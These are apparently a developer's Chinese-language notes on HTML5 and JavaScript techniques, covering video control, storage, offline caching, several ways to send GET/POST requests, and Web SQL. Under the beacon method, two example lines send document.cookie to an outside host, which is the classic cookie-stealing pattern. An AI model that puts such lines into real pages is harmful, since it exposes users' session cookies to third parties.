1. HTML5 代码与测试
作用 | 代码 | 备注 |
video | <video id="h5v-video-ID" width="100%" height="100%" preload="meta" x-webkit-airplay="allow" webkit-playsinline="true" autoplay="" src="http://XXX.mp4"><p class="no-support">抱歉,您的浏览器不支持HTML5 video</p></video> var myVideo=document.getElementById("h5v-video-ID"); myVideo.pause(); myVideo.play(); alert(myVideo.src); myVideo.width=335;// 变小 myVideo.width=535;//变大 | |
cookie | http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50259419 | |
localstorage | http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50283081 | |
HTML5 离线缓存-manifest | js可以手动更新本地缓存: window.applicationCache.update(); 即使下载完新的缓存,也不意味这页面会更新,我们需要重新加载一次页面 if (confirm('页面已更新,是否加载新内容?')) { window.location.reload(); } Manifest的特点 离线浏览: 用户可以在离线状态下浏览网站内容。 更快的速度: 因为数据被存储在本地,所以速度会更快. 减轻服务器的负载: 浏览器只会下载在服务器上发生改变的资源。 更多参考: http://blogread.cn/it/article/7176 http://www.cnblogs.com/dolphinX/p/3439970.html | |
向服务器请求数据(发送get/post请求) | 方法零: 方法一:form get+post <form action="http://XXX.jsp" method="get" id='matchWrapperForm' target="_blank"> <td><input type='submit' value='match'></td></tr> <tr><td>fromCity:</td><td><input name='fromCity' value='PEK' /></td></tr> <tr><td>toCity:</td><td><input name='toCity' value='SHA'></td></tr> </form> 方法一:ajax(post + get) post: var url = '/data.php'; var params = [ 'id=934875', 'limit=20' ]; var req = new XMLHttpRequest(); req.onreadystatechange = function() { if (req.readyState=== 4) { var responseHeaders = req.getAllResponseHeaders(); var data = req.responseText; } } req.open('GET', url + '?' + params.join('&'), true); req.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); req.send(null); get : var url="xxx"; xmlHttp=GetXmlHttpObject(); xmlHttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { var d= xmlHttp.responseText; var json =JSON.parse(d); document.getElementById("resultget").value=json.mockposturl; / } } xmlHttp.open("GET",url,true); xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttp.send(); 方法二:灯标(不能发送POST 数据) //第一种GET方式 new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); //第二种GET方式 location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); 具体: var url = '/status_tracker.php'; var params = [ 'step=2', 'time=1248027314' ]; (new Image()).src = url + '?' + params.join('&'); 注: 服务器取得此数据并保存下来,而不必向客户端返回什么,因此没有实际的图像显示。这是将信息发回服务器的最有效方法。其开销很小,而且任何服务器端错误都不会影响客户端。 方法三:动态脚本标签插入 var scriptElement = document.createElement('script'); scriptElement.src = 'http://any-domain.com/javascript/lib.js';//任意的url document.getElementsByTagName_r('head')[0].appendChild(scriptElement); function jsonCallback(jsonString) { var data = ('(' + jsonString + ')'); } 注: 但是动态脚本标签插入与XHR相比只提供更少的控制。你不能通过请求发送信息头。参数只能通过GET方法传递,不能用POST。你不能设置请求的超时或重试,实际上,你不需要知道它是否失败了。你必须等待所有数据返回之后才可以访问它们。你不能访问响应信息头或者像访问字符串那样访问整个响应报文。 方法四:使用document.write直接写入 <script type="text/javascript"> var v='其实这个例子举得非常失败,我。。。'; document.write('<script type="text\/javascript" src="s.js?"'+Math.random()+'><\/script>'); </script> 这两种都能轻松的动态创建一个script标签,来构造get请求 参考: http://sjolzy.cn/JS-GET-request-for-the-dynamic-structure.html http://www.html5china.com/js/jsadv/20111120_2731.html | |
js跨域及解决方案 | http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50607399 | |
HTML5 Web SQL 数据库--- SQLite数据库 | 1) 与 会话级别的本地存储:sessionStorage ,永久本地存储:localStorage 的区别 虽然Html5已经提供了功能强大的localStorage和sessionStorage,但是他们两个都只能提供存储简单数据结构的数据,对于复杂的Web应用的数据却无能为力。 逆天的是Html5提供了一个浏览器端的数据库支持,允许我们直接通JS的API在浏览器端创建一个本地的数据库,而且支持标准的SQL的CRUD操作,让离线的Web应用更加方便的存储结构化的数据 2)存储在了:假定我安装到了C:\Documents and Settings\charles.wang\Local Settings\Application Data\Google\Chrome 那么SQLite数据库就安装到了$CHROME_HOME\User Data\Default\databases中 这个目录中databases.db是当前用户的所有创建的数据库的配置,而file__0目录则是数据库表文件目录 用法: http://www.runoob.com/html/html5-web-sql.html http://www.2cto.com/kf/201205/130762.html http://www.cnblogs.com/fly_dragon/p/3946012.html | |
js内存泄漏 | ||